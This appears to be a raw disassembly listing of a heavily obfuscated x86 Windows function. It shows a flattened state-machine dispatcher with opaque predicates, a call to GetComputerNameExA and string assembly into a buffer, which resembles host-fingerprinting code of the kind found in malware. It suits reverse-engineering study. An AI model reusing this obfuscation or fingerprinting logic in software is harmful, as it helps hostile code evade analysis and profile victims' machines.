call fcn.00406fee
mov eax, 0x8fe8d881
cmp edi, 0x94
jb 0x43c1e2
mov eax, 0x67a56864
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0x24125406
jle 0x43d2b6
cmp eax, 0x24125407
je 0x43e999
cmp eax, 0x24ebbde0
je 0x43e9d5
cmp eax, 0x25465d1b
jne 0x43ac1c
mov eax, dword [esi + 0x44]
mov eax, dword [esi + 0x40]
mov eax, dword [esi + 0x3c]
mov eax, dword [esi + 0x38]
mov eax, dword [esi + 0x1c]
mov dword [esi + 4], 0xcd598f4c
jmp 0x43ac1c
cmp eax, 0xd339d5fd
jle 0x43d2d8
cmp eax, 0xd339d5fe
je 0x43e9f5
cmp eax, 0xd39e5d44
je 0x43ea0b
cmp eax, 0xd3b5b038
jne 0x43ac1c
mov eax, dword [esi + 8]
shr eax, 7
and eax, 0xfffffff8
imul edi, eax, 0xad
mov dword [esi + 8], edi
push edi
push 0x181
push 0x4818
call fcn.00428473
add esp, 0xc
mov eax, 0xc0f7ff5d
cmp edi, 0xd3
jae 0x43c294
mov eax, 0x231b4d6
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0x5e20d2cb
jle 0x43d31e
cmp eax, 0x5e20d2cc
je 0x43ea17
cmp eax, 0x5ead8a11
je 0x43ea3b
cmp eax, 0x5f687d33
jne 0x43ac1c
mov eax, dword [esi + 8]
shl eax, 0x1a
or eax, 0x164000
imul eax, eax, 0x6b
mov dword [esi + 8], eax
push 0x4028
push 0x48ed
push 0x607e
push eax
call fcn.0043f8d0
add esp, 0x10
mov dword [esi + 4], 0x6e84da04
jmp 0x43ac1c
cmp eax, 0xb5c9ae71
jle 0x43d34c
cmp eax, 0xb5c9ae72
je 0x43ea62
cmp eax, 0xb6e7b0da
je 0x43ea84
cmp eax, 0xb8442e44
jne 0x43ac1c
imul eax, dword [esi + 0xc], 0x7000000
or eax, 0xfc
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x2840e0fc
jmp 0x43ac1c
cmp eax, 0x461f581a
jle 0x43d37c
cmp eax, 0x461f581b
je 0x43eaa5
cmp eax, 0x463a114b
je 0x43eae7
cmp eax, 0x469974e6
jne 0x43ac1c
mov dword [esi + 4], 0x8bc94a5
jmp 0x43ac1c
cmp eax, 0xfb2a3d07
jle 0x43d3d9
cmp eax, 0xfb2a3d08
je 0x43eb07
cmp eax, 0xfc82ddc8
je 0x43eb31
cmp eax, 0xff67e51d
jne 0x43ac1c
mov eax, dword [esi + 0x164]
mov word [eax], 0xa
mov eax, dword [esi + 0x40]
mov dword [esi + 4], 0x1557802
jmp 0x43ac1c
cmp eax, 0x7e0ab08b
jle 0x43d413
cmp eax, 0x7e0ab08c
je 0x43eb64
cmp eax, 0x7e1918fa
je 0x43eb98
cmp eax, 0x7e3d8bd7
jne 0x43ac1c
push dword [esi + 0x10]
call fcn.0045a120
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
push 1
push 0x41
call fcn.00458cc3
add esp, 8
mov dword [esi + 0x14], eax
mov dword [esi + 4], 0xefb47bd9
jmp 0x43ac1c
cmp eax, 0x8ce88bb6
jle 0x43d435
cmp eax, 0x8ce88bb7
je 0x43ebeb
cmp eax, 0x8fe8d881
jne 0x43f775
mov edi, 0xf
push edi
push 0x47c470
push dword [esi + 0x68]
call fcn.00448eb0
add esp, 0xc
push 7
push 0x47c47f
push edi
push dword [esi + 0x68]
call fcn.0043f8d0
add esp, 0x10
mov eax, dword [esi + 0x120]
mov ecx, dword [esi + 0x68]
mov edx, dword [ecx + 0xc]
mov dword [eax + 0xc], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push str.KjGtqi__WHISKEY
push dword [esi + 0x10]
call fcn.00459f40
add esp, 8
mov dword [esi + 4], 0xc443767f
jmp 0x43ac1c
cmp eax, 0x231b4d5
jg 0x43d478
cmp eax, 0x1557802
je 0x43ebfd
cmp eax, 0x2231c25
jne 0x43ac1c
push dword [esi + 0x10]
call fcn.0045a120
add esp, 4
mov dword [esi + 0x11c], eax
mov dword [esi + 4], 0x6c07dc46
jmp 0x43ac1c
cmp eax, 0xbdd9fdeb
jg 0x43d4bf
cmp eax, 0xb9650f70
je 0x43ec2e
cmp eax, 0xbaeb7a37
jne 0x43ac1c
mov eax, dword [esi + 0x1b4]
mov byte [eax], 0
mov edi, 0x1d
push edi
push 0x47c590
push dword [esi + 0xd4]
call fcn.00448eb0
add esp, 0xc
push 4
push 0x47c5ad
push edi
push dword [esi + 0xd4]
call fcn.0043f8d0
add esp, 0x10
push 0x1e
push dword [esi + 0xd4]
push dword [esi + 0x50]
call fcn.00448eb0
add esp, 0xc
push dword [esi + 0x50]
push dword [esi + 0x10]
call fcn.00459f40
add esp, 8
mov dword [esi + 4], 0x16fc7477
jmp 0x43ac1c
cmp eax, 0x48f18c91
jg 0x43d50d
cmp eax, 0x472cf7c2
je 0x43ec48
cmp eax, 0x485de71b
jne 0x43ac1c
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x90], eax
mov eax, dword [esi + 0x90]
add eax, 0x14
mov dword [esi + 0x168], eax
mov dword [esi + 4], 0x82d3071f
jmp 0x43ac1c
cmp eax, 0x9ef395ac
jg 0x43d543
cmp eax, 0x9e79e561
je 0x43ec7c
cmp eax, 0x9e9f1ead
jne 0x43ac1c
mov eax, dword [esi + 0x80]
add eax, 0xa
mov dword [esi + 0x150], eax
mov dword [esi + 4], 0x77dd275b
jmp 0x43ac1c
cmp eax, 0x29a52921
jg 0x43d580
cmp eax, 0x25ed8bdd
je 0x43ec88
cmp eax, 0x2840e0fc
jne 0x43ac1c
push dword [esi + 0x38]
push dword [esi + 0x10]
call fcn.00459f40
add esp, 8
push dword [esi + 0xec]
push dword [esi + 0x10]
call fcn.00459f40
add esp, 8
push dword [esi + 0x10]
call fcn.0045a120
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x3c]
mov dword [esi + 4], 0xca312a6
jmp 0x43ac1c
cmp eax, 0xd4b78af1
je 0x43eca9
cmp eax, 0xd4b796f7
jne 0x43ac1c
mov eax, dword [esi + 0x98]
mov ecx, dword [0x47c570]
mov dword [eax + 8], ecx
mov ecx, dword [0x47c56c]
mov dword [eax + 4], ecx
mov ecx, dword [0x47c568]
mov dword [eax], ecx
push 4
push 0x47c574
push 0xc
push dword [esi + 0x98]
call fcn.0043f8d0
add esp, 0x10
mov eax, dword [esi + 0x44]
mov ecx, dword [esi + 0x98]
mov dl, byte [ecx + 0xc]
mov byte [eax + 0xc], dl
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x44]
push dword [esi + 0x10]
call fcn.00459f40
add esp, 8
push dword [esi + 0xf4]
push dword [esi + 0x10]
call fcn.00459f40
add esp, 8
mov dword [esi + 4], 0xa6bac59b
jmp 0x43ac1c
cmp eax, 0x5fa840b6
je 0x43ecbe
cmp eax, 0x6023b85b
jne 0x43ac1c
push 0x1c
push dword [esi + 0x88]
push dword [esi + 0x2c]
call fcn.00448eb0
add esp, 0xc
mov dword [esi + 4], 0x5a9da1ac
jmp 0x43ac1c
cmp eax, 0x81329b4d
je 0x43ecca
cmp eax, 0x81649d46
jne 0x43ac1c
imul edi, dword [esi + 8], 0xc5
add edi, 0xd6
mov eax, edi
shr eax, 0xf
mov dword [esi + 8], eax
push 0x3d4e
push 0x5256
push eax
push 0x2690
call fcn.0043f790
add esp, 0x10
mov eax, 0xf4563577
cmp edi, 0x5e8000
jae 0x43c76e
mov eax, 0xc21f4a11
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0x104c4fb4
je 0x43eced
cmp eax, 0x127d2e53
jne 0x43ac1c
imul ecx, dword [esi + 8], 0xbd
add ecx, 0xffffff87
mov dword [esi + 8], ecx
mov eax, 0xea8c8821
cmp ecx, 0xaf
je 0x43c7ab
mov eax, 0x830ca5a
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0xc5fa051d
je 0x43ed29
cmp eax, 0xc70cd5c9
jne 0x43ac1c
imul eax, dword [esi + 0xc], 0x948
add eax, 0x6c
shr eax, 0xd
add eax, 0xc7
shr eax, 2
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x730eba7f
jmp 0x43ac1c
cmp eax, 0x528e5eee
je 0x43ed40
cmp eax, 0x52c0094f
jne 0x43ac1c
mov eax, dword [esi + 0xc]
shr eax, 9
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x7c9d
add eax, 0x1d
dec edx
shr eax, 0xa
mov dword [esi + 0xc], eax
mov eax, 0x3080e2d3
cmp edx, ecx
je 0x43c82c
mov eax, 0x8ba168fd
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0xab2fa7c8
je 0x43ed94
cmp eax, 0xabf6196f
jne 0x43ac1c
mov ecx, dword [esi + 8]
shl ecx, 0xb
add ecx, 0x3606a
mov dword [esi + 8], ecx
mov eax, 0xa10ace44
cmp ecx, 0x36
jge 0x43c868
mov eax, 0x7399185f
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0x37b3dab2
je 0x43edae
cmp eax, 0x37d8f3f6
jne 0x43ac1c
mov dword [esi + 4], 0x50649b06
jmp 0x43ac1c
cmp eax, 0xedc0f362
je 0x43edc5
cmp eax, 0xef7c14c1
jne 0x43ac1c
imul edi, dword [esi + 8], 0x1880
mov dword [esi + 8], edi
push edi
push 0x29b5
push 0x292d
call fcn.00428473
add esp, 0xc
call fcn.00406fee
mov eax, 0x87946877
test edi, edi
je 0x43c8d8
mov eax, 0x79ae4a35
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0x72f4bcf0
je 0x43ede5
cmp eax, 0x730eba7f
jne 0x43ac1c
mov edi, 0x14
push edi
push 0x47c550
push dword [esi + 0x90]
call fcn.00448eb0
add esp, 0xc
push 4
push 0x47c564
push edi
push dword [esi + 0x90]
call fcn.0043f8d0
add esp, 0x10
mov dword [esi + 4], 0xaa3433c0
jmp 0x43ac1c
cmp eax, 0x95d3505f
je 0x43ee22
cmp eax, 0x968383c5
jne 0x43ac1c
mov eax, dword [esi + 0x44]
mov dword [esi + 4], 0xf31e7dc1
jmp 0x43ac1c
cmp eax, 0x830ca5a
je 0x43ee78
cmp eax, 0x8a26991
jne 0x43ac1c
mov eax, dword [esi + 0x1a8]
mov byte [eax], 0
mov dword [esi + 4], 0x4dcbe325
jmp 0x43ac1c
cmp eax, 0xc20b7090
je 0x43eebe
cmp eax, 0xc21f4a11
jne 0x43ac1c
imul eax, dword [esi + 8], 0x3a64
mov dword [esi + 8], eax
mov dword [esi + 4], 0xc291bead
jmp 0x43ac1c
cmp eax, 0x4dcbe325
je 0x43ef02
cmp eax, 0x4dece08a
jne 0x43ac1c
mov dword [esi + 4], 0x48f18c92
jmp 0x43ac1c
cmp eax, 0xa2f2666c
je 0x43ef30
cmp eax, 0xa3760a82
jne 0x43ac1c
mov dword [esi + 4], 0x485de71b
jmp 0x43ac1c
cmp eax, 0x2fc64b54
je 0x43ef6f
cmp eax, 0x3080e2d3
jne 0x43ac1c
mov ecx, dword [esi + 8]
mov eax, 0x9c
add ecx, eax
mov eax, ecx
shr eax, 0xa
mov dword [esi + 8], eax
mov eax, 0x1d4db8fc
cmp ecx, 0xfc00
jae 0x43ca2b
mov eax, 0xe544d742
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0xe532cf3d
je 0x43ef8a
cmp eax, 0xe544d742
jne 0x43ac1c
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x1c], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x38], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x3c], eax
mov dword [esi + 4], 0x1347eb9c
jmp 0x43ac1c
cmp eax, 0x683bff05
je 0x43efc1
cmp eax, 0x68b1d8d0
jne 0x43ac1c
mov dword [esi + 4], 0x1f096957
jmp 0x43ac1c
cmp eax, 0x862db538
je 0x43eff9
cmp eax, 0x865d8d32
jne 0x43ac1c
push 0xa
push dword [esi + 0xf8]
push dword [esi + 0x1b0]
call fcn.00457318
add esp, 0xc
mov eax, dword [esi + 0x50]
mov dword [esi + 4], 0x3929d46b
jmp 0x43ac1c
cmp eax, 0x1d4db8fc
je 0x43f034
cmp eax, 0x1e2955ff
jne 0x43ac1c
imul edi, dword [esi + 8], 0x81000
shr edi, 0xc
and edi, 0xfffffff8
mov dword [esi + 8], edi
push edi
call fcn.0043ac04
add esp, 4
push 0x31ff
push edi
push 0x1e38
call fcn.00428473
add esp, 0xc
mov dword [esi + 4], 0xd5b39c82
jmp 0x43ac1c
cmp eax, 0xcd598f4c
je 0x43f054
cmp eax, 0xcd6b4b46
jne 0x43ac1c
mov dword [esi + 4], 0xa01a0d47
jmp 0x43ac1c
cmp eax, 0x59d26614
je 0x43f06c
cmp eax, 0x5a2b3fc9
jne 0x43ac1c
mov eax, dword [esi + 0xc]
mov ecx, 0xffffff00
and eax, ecx
add eax, eax
add eax, 0xfffffff0
shr eax, 0xe
add eax, 0x4d
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xb5c9ae72
jmp 0x43ac1c
cmp eax, 0xb1e29254
je 0x43f087
cmp eax, 0xb1fcd5fe
jne 0x43ac1c
mov dword [esi + 4], 0xa2a4580b
jmp 0x43ac1c
cmp eax, 0x3d4662e1
je 0x43f0c5
cmp eax, 0x3ed8f8cf
jne 0x43ac1c
mov edi, dword [esi + 8]
shl edi, 9
mov ebx, 0x7399185f
and edi, 0x7ffffe00
mov dword [esi + 8], edi
je 0x43cbc8
mov ebx, 0x87946877
push edi
call fcn.0043ac04
add esp, 4
push 0x5447
push 0x3eff
push edi
push 0xb91
call fcn.0043f790
add esp, 0x10
mov dword [esi + 4], ebx
jmp 0x43ac1c
cmp eax, 0xf490fa59
je 0x43f0d1
cmp eax, 0xf5a6595a
jne 0x43ac1c
mov eax, dword [esi + 0xc]
and eax, 0xfffffffc
shl eax, 0xe
or eax, 0x8300
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x7e1918fa
jmp 0x43ac1c
cmp eax, 0x79507f6f
je 0x43f0ee
cmp eax, 0x79848f3b
jne 0x43ac1c
imul edi, dword [esi + 8], 0xe0fc000
add edi, 0x143f8000
mov eax, edi
shr eax, 8
mov dword [esi + 8], eax
push eax
call fcn.0043ac04
add esp, 4
mov eax, 0x3c1ff867
cmp edi, 0x9100
jb 0x43cc6a
mov eax, 0xa225c1e2
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0x909d14cd
je 0x43f114
cmp eax, 0x91b2dfcd
jne 0x43ac1c
mov eax, dword [esi + 8]
shl eax, 0xa
add eax, 0x14400
mov edi, 0x79ae4a35
and eax, 0xfffff000
mov dword [esi + 8], eax
je 0x43cca7
mov edi, 0xd4b78af1
push 0x4f03
push eax
push 0x17fa
push 0x1d33
call fcn.0043f8d0
add esp, 0x10
call fcn.00406fee
mov dword [esi + 4], edi
jmp 0x43ac1c
cmp eax, 0x3ea9761
je 0x43f129
cmp eax, 0x446e549
jne 0x43ac1c
mov dword [esi + 4], 0x7399185f
jmp 0x43ac1c
cmp eax, 0xbf3ab78d
je 0x43f168
cmp eax, 0xbf4444f6
jne 0x43ac1c
mov ecx, dword [esi + 8]
shl ecx, 0xa
mov eax, 0xc5f299bf
and ecx, 0xff000000
mov dword [esi + 8], ecx
je 0x43cd1f
mov eax, 0x399f299a
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0x4a3c51f5
je 0x43f18e
cmp eax, 0x4b427871
jne 0x43ac1c
mov eax, dword [esi + 0xc]
lea eax, [eax*8 + 0x360]
shr eax, 0xd
imul eax, eax, 0xd5
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x6e5dfc4e
jmp 0x43ac1c
cmp eax, 0xa10ace44
je 0x43f1c6
cmp eax, 0xa140a1ab
jne 0x43ac1c
push dword [esi + 0x10]
call fcn.0045a120
add esp, 4
mov dword [esi + 0x124], eax
mov dword [esi + 4], 0xa10ace44
jmp 0x43ac1c
cmp eax, 0x2d26e45e
je 0x43f1e1
cmp eax, 0x2d53bf60
jne 0x43ac1c
mov eax, dword [esi + 0x7c]
add eax, 8
mov dword [esi + 0x144], eax
mov dword [esi + 4], 0xb9650f70
jmp 0x43ac1c
cmp eax, 0xdc89495d
je 0x43f1fc
cmp eax, 0xde61a78c
jne 0x43ac1c
imul eax, dword [esi + 0xc], 0x2c800
or eax, 0xa
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x1ace8a92
jmp 0x43ac1c
cmp eax, 0x6299c876
je 0x43f208
cmp eax, 0x6403a008
jne 0x43ac1c
mov eax, dword [esi + 0x20]
mov eax, dword [esi + 0x48]
mov dword [esi + 4], 0x25465d1b
jmp 0x43ac1c
cmp eax, 0x835148af
je 0x43f234
cmp eax, 0x83d6949d
jne 0x43ac1c
mov eax, dword [esi + 8]
mov ecx, eax
shl ecx, 7
lea eax, [ecx + eax*4]
add eax, 0xffffff58
shr eax, 0xa
lea ecx, [eax + eax*4]
lea ecx, [ecx + ecx*4]
lea edi, [eax + ecx]
add edi, 0xffffebfe
mov dword [esi + 8], edi
push edi
push 0x60d4
push 0x409f
push 0xd3e
call fcn.0043f790
add esp, 0x10
push edi
push 0x2ddf
push 0x37f5
push 0x304c
call fcn.0043f8d0
add esp, 0x10
mov eax, 0xe9f6d0e6
cmp edi, 0xf
jae 0x43ce91
mov eax, 0x95d3505f
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0x16690ac7
je 0x43f266
cmp eax, 0x16fc7477
jne 0x43ac1c
mov eax, dword [esi + 0xc]
shr eax, 0xf
lea ecx, [eax + 0x4b]
imul ecx, ecx
imul edx, ecx, 0x7e63
dec edx
lea eax, [eax*4 + 0x330]
mov dword [esi + 0xc], eax
mov eax, 0xc99362eb
cmp ecx, edx
je 0x43ceda
mov eax, 0xedc0f362
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0xca7c7964
je 0x43f2e6
cmp eax, 0xcb2d4c25
jne 0x43ac1c
mov eax, dword [esi + 0x140]
lea ecx, [esi + 0x104]
push ecx
push dword [esi + 0xe8]
call eax
mov dword [esi + 4], 0x5ca5926
jmp 0x43ac1c
cmp eax, 0x573dd94c
je 0x43f30c
cmp eax, 0x577d64e4
jne 0x43ac1c
mov eax, dword [esi + 0xc]
mov ecx, 0xffffff43
add eax, ecx
shr eax, 2
imul ecx, eax, 0x6800
imul eax, eax
imul edx, eax, 0x53c3
dec edx
add ecx, 0x38781f
mov dword [esi + 0xc], ecx
mov ecx, 0x9c1ba9ed
cmp edx, eax
je 0x43cf63
mov ecx, 0xb1fcd5fe
mov dword [esi + 4], ecx
jmp 0x43ac1c
cmp eax, 0xaf3d650a
je 0x43f32f
cmp eax, 0xaf47789a
jne 0x43ac1c
imul edi, dword [esi + 8], 0x94
shr edi, 0xc
and edi, 0xffffffe0
add edi, 0xffffff22
mov dword [esi + 8], edi
push 0xfeb
push 0x2a58
push edi
push 0x5f5c
call fcn.0043f8d0
add esp, 0x10
push edi
call fcn.0043ac04
add esp, 4
mov eax, 0x6299c876
cmp edi, 0x17
jb 0x43cfc7
mov eax, 0x5f687d33
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0x39fa3476
je 0x43f33b
cmp eax, 0x39fbe18f
jne 0x43ac1c
mov eax, dword [esi + 0x88]
mov byte [eax + 0x1b], 0
mov edi, 0x1b
push edi
push 0x47c4d0
push dword [esi + 0x88]
call fcn.00448eb0
add esp, 0xc
push 7
push 0x47c4eb
push edi
push dword [esi + 0x88]
call fcn.0043f8d0
add esp, 0x10
mov dword [esi + 4], 0x862db538
jmp 0x43ac1c
cmp eax, 0xf31e7dc1
je 0x43f388
cmp eax, 0xf3bd0545
jne 0x43ac1c
push dword [esi + 0x10]
call fcn.0045a120
add esp, 4
push eax
push dword [esi + 0x10]
push dword [esi + 0x58]
push dword [ebp + 8]
call fcn.0042245f
add esp, 0x10
mov eax, dword [esi + 0x58]
mov dword [esi + 4], 0x8ce88bb7
jmp 0x43ac1c
cmp eax, 0x73c1c3f2
je 0x43f3af
cmp eax, 0x742e0221
jne 0x43ac1c
push eax
push eax
mov eax, esp
mov dword [esi + 0x74], eax
mov dword [esi + 4], 0xb274466f
jmp 0x43ac1c
cmp eax, 0x9cc5e09c
je 0x43f3f1
cmp eax, 0x9d673473
jne 0x43ac1c
mov eax, dword [esi + 0xc]
mov ecx, 0xffffff75
add eax, ecx
mov ecx, eax
shr ecx, 6
imul eax, eax
mov edx, ecx
shl edx, 6
sub edx, ecx
imul edi, eax, 0x20dd
dec edi
mov dword [esi + 0xc], edx
mov ecx, 0x34436423
cmp edi, eax
je 0x43d0dc
mov ecx, 0x37b3dab2
mov dword [esi + 4], ecx
jmp 0x43ac1c
cmp eax, 0xc5c8d49
je 0x43f441
cmp eax, 0xca312a6
jne 0x43ac1c
mov dword [esi + 4], 0xe1c66a6c
jmp 0x43ac1c
cmp eax, 0xc443767f
je 0x43f464
cmp eax, 0xc4aa367c
jne 0x43ac1c
mov eax, dword [esi + 0xc]
shl eax, 0xe
add eax, 0xffdb8000
shr eax, 0xf
mov ecx, eax
imul ecx, eax
add eax, 0x40
imul edx, ecx, 0x2ecf
shr eax, 2
dec edx
mov dword [esi + 0xc], eax
mov eax, 0xb5c9ae72
cmp edx, ecx
je 0x43d14d
mov eax, 0x79c5bcd5
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0x507da226
je 0x43f47d
cmp eax, 0x5101437e
jne 0x43ac1c
mov eax, dword [esi + 0xc]
inc eax
and eax, 0x1ffffff
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x4fa8551d
jmp 0x43ac1c
cmp eax, 0xa7055612
je 0x43f489
cmp eax, 0xa7071fc1
jne 0x43ac1c
mov dword [esi + 4], 0x5d54c426
jmp 0x43ac1c
cmp eax, 0x34a85f49
je 0x43f4a1
cmp eax, 0x34ea88bc
jne 0x43ac1c
imul edi, dword [esi + 8], 0x4d
shr edi, 0xa
add edi, 0xffffffda
mov dword [esi + 8], edi
push edi
push 0x268c
push 0x573b
call fcn.00428473
add esp, 0xc
mov eax, 0x311b76a0
cmp edi, 0x54
jae 0x43d1ea
mov eax, 0x5b668583
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0xe9f6d0e6
je 0x43f4d4
cmp eax, 0xea42df83
jne 0x43ac1c
mov eax, dword [esi + 0x4c]
mov dword [esi + 4], 0x3b28e3c1
jmp 0x43ac1c
cmp eax, 0x6e5dfc4e
je 0x43f508
cmp eax, 0x6e84da04
jne 0x43ac1c
imul edi, dword [esi + 8], 0x282b
add edi, 0xffffe446
mov dword [esi + 8], edi
push edi
push 0x340b
push 0xb08
call fcn.00428473
add esp, 0xc
push edi
push 0x637b
push 0x1736
push 0x663
call fcn.0043f8d0
add esp, 0x10
mov eax, 0xe544d742
cmp edi, 0xae
je 0x43d27a
mov eax, 0x2231c25
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0x89c20c5a
je 0x43f54c
cmp eax, 0x8a146f18
jne 0x43ac1c
push eax
mov eax, esp
mov dword [esi + 0x6c], eax
mov eax, dword [esi + 0x6c]
add eax, 2
mov dword [esi + 0x12c], eax
mov dword [esi + 4], 0x5a2b3fc9
jmp 0x43ac1c
cmp eax, 0x20ed5b0e
je 0x43f56f
cmp eax, 0x23139ff4
jne 0x43ac1c
mov dword [esi + 4], 0x528e5eee
jmp 0x43ac1c
cmp eax, 0xd11548bf
je 0x43f5b1
cmp eax, 0xd2959f27
jne 0x43ac1c
mov dword [esi + 0x18], 0x100
lea eax, [esi + 0x18]
push eax
push dword [esi + 0x28]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x2c]
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0x88], eax
mov dword [esi + 4], 0x39fbe18f
jmp 0x43ac1c
cmp eax, 0x5d1ff24c
je 0x43f5ec
cmp eax, 0x5d54c426
jne 0x43ac1c
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xcc], eax
mov dword [esi + 4], 0x84e89f42
jmp 0x43ac1c
cmp eax, 0xb5738bbf
je 0x43f627
cmp eax, 0xb5a096ce
jne 0x43ac1c
mov eax, dword [esi + 0xc]
shl eax, 0x13
add eax, 0x3fc000
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xd39e5d44
jmp 0x43ac1c
cmp eax, 0x435a0da4
je 0x43f63c
cmp eax, 0x45469859
jne 0x43ac1c
mov eax, dword [esi + 8]
shr eax, 9
imul edi, eax, 0x13dc
add edi, 0xffffdd44
mov dword [esi + 8], edi
push 0x387b
push edi
push 0x31ab
push 0x1bc3
call fcn.0043f790
add esp, 0x10
mov eax, 0x83d6949d
cmp edi, 0xcd
jae 0x43d3d1
mov eax, 0x2e71e5ca
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0xf95480d7
je 0x43f657
cmp eax, 0xfaaf446a
jne 0x43ac1c
imul ecx, dword [esi + 8], 0x1d800
mov eax, 0xb38b5094
add ecx, 0xfe5f5000
mov dword [esi + 8], ecx
je 0x43d40b
mov eax, 0x79c5bcd5
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0x79dcd6a1
je 0x43f663
cmp eax, 0x7b77bc8f
jne 0x43ac1c
mov dword [esi + 4], 0x25ed8bdd
jmp 0x43ac1c
cmp eax, 0x8c6092d4
je 0x43f691
cmp eax, 0x8ca2d796
jne 0x43ac1c
mov eax, dword [esi + 8]
shl eax, 0xa
add eax, 0xfffffff4
and eax, 0xffffc000
imul ecx, eax, 0xee
mov dword [esi + 8], ecx
mov eax, 0x79ae4a35
test ecx, ecx
je 0x43d470
mov eax, 0x2231c25
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0x231b4d6
je 0x43f6dc
cmp eax, 0x2d64ae0
jne 0x43ac1c
mov eax, dword [esi + 8]
shr eax, 0xe
imul ecx, eax, 0x3c62
mov eax, ecx
shr eax, 6
add eax, 0x3d
mov dword [esi + 8], eax
mov eax, 0x5ead8a11
cmp ecx, 0x2b40
jae 0x43d4b7
mov eax, 0x5b668583
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0xbdd9fdec
je 0x43f6f7
cmp eax, 0xbddb934c
jne 0x43ac1c
mov ecx, dword [esi + 0xc]
lea eax, [ecx - 0x8d]
imul eax, eax
imul edx, eax, 0x374d
dec edx
imul ecx, ecx, 0x2a0
add ecx, 0xf6c0
mov dword [esi + 0xc], ecx
mov ecx, 0x8fe8d881
cmp eax, edx
je 0x43d505
mov ecx, 0xf3d87e13
mov dword [esi + 4], ecx
jmp 0x43ac1c
cmp eax, 0x48f18c92
je 0x43f731
cmp eax, 0x48fbba78
jne 0x43ac1c
push dword [esi + 0x10]
call fcn.0045a120
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x1ac], eax
mov dword [esi + 4], 0x32ae1d7d
jmp 0x43ac1c
cmp eax, 0x9ef395ad
je 0x43f757
cmp eax, 0xa01a0d47
jne 0x43ac1c
push eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0xd4], eax
mov eax, dword [esi + 0xd4]
add eax, 0x1d
mov dword [esi + 0x1b4], eax
mov dword [esi + 4], 0xbaeb7a37
jmp 0x43ac1c
cmp eax, 0x29a52922
je 0x43f763
cmp eax, 0x2a354784
jne 0x43ac1c
mov edi, dword [esi + 8]
shr edi, 9
and edi, 0xfffffff0
lea eax, [edi - 0x1ac]
mov dword [esi + 8], eax
call fcn.00406fee
mov eax, 0x2d53bf60
cmp edi, 0x1f1
jb 0x43d5bf
mov eax, 0xc5f299bf
mov dword [esi + 4], eax
jmp 0x43ac1c
mov eax, dword [esi + 8]
shr eax, 0xc
lea eax, [eax + eax*8]
lea ecx, [eax + eax*2]
mov dword [esi + 8], ecx
mov eax, 0x68bf22d4
cmp ecx, 0xa6
jae 0x43d5e8
mov eax, 0xf490fa59
mov dword [esi + 4], eax
jmp 0x43ac1c
mov eax, dword [esi + 0xc]
shl eax, 8
and eax, 0x7ffff00
add eax, 0xffffffb6
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xdc89495d
jmp 0x43ac1c
mov eax, dword [esi + 0x178]
mov ecx, dword [esi + 0x184]
mov dword [ecx], eax
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x17c]
mov dword [eax + 8], ecx
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x180]
mov dword [eax + 0xc], ecx
mov dword [esi + 4], 0xed86323f
jmp 0x43ac1c
mov eax, dword [esi + 8]
mov ecx, 0xc1
add eax, ecx
shr eax, 5
lea eax, [eax*4 + 0x5b0]
mov dword [esi + 8], eax
mov dword [esi + 4], 0xbdd9fdec
jmp 0x43ac1c
mov eax, dword [esi + 0xc]
shl eax, 0xa
or eax, 0x9d
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xce740087
jmp 0x43ac1c
mov dword [esi + 4], 0xa7055612
jmp 0x43ac1c
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x40], eax
mov dword [esi + 4], 0xc5f299bf
jmp 0x43ac1c
mov edi, dword [esi + 8]
mov eax, 0x99
add edi, eax
mov dword [esi + 8], edi
push 0x5bb9
push edi
push 0x5775
push 0x4f35
call fcn.0043f790
add esp, 0x10
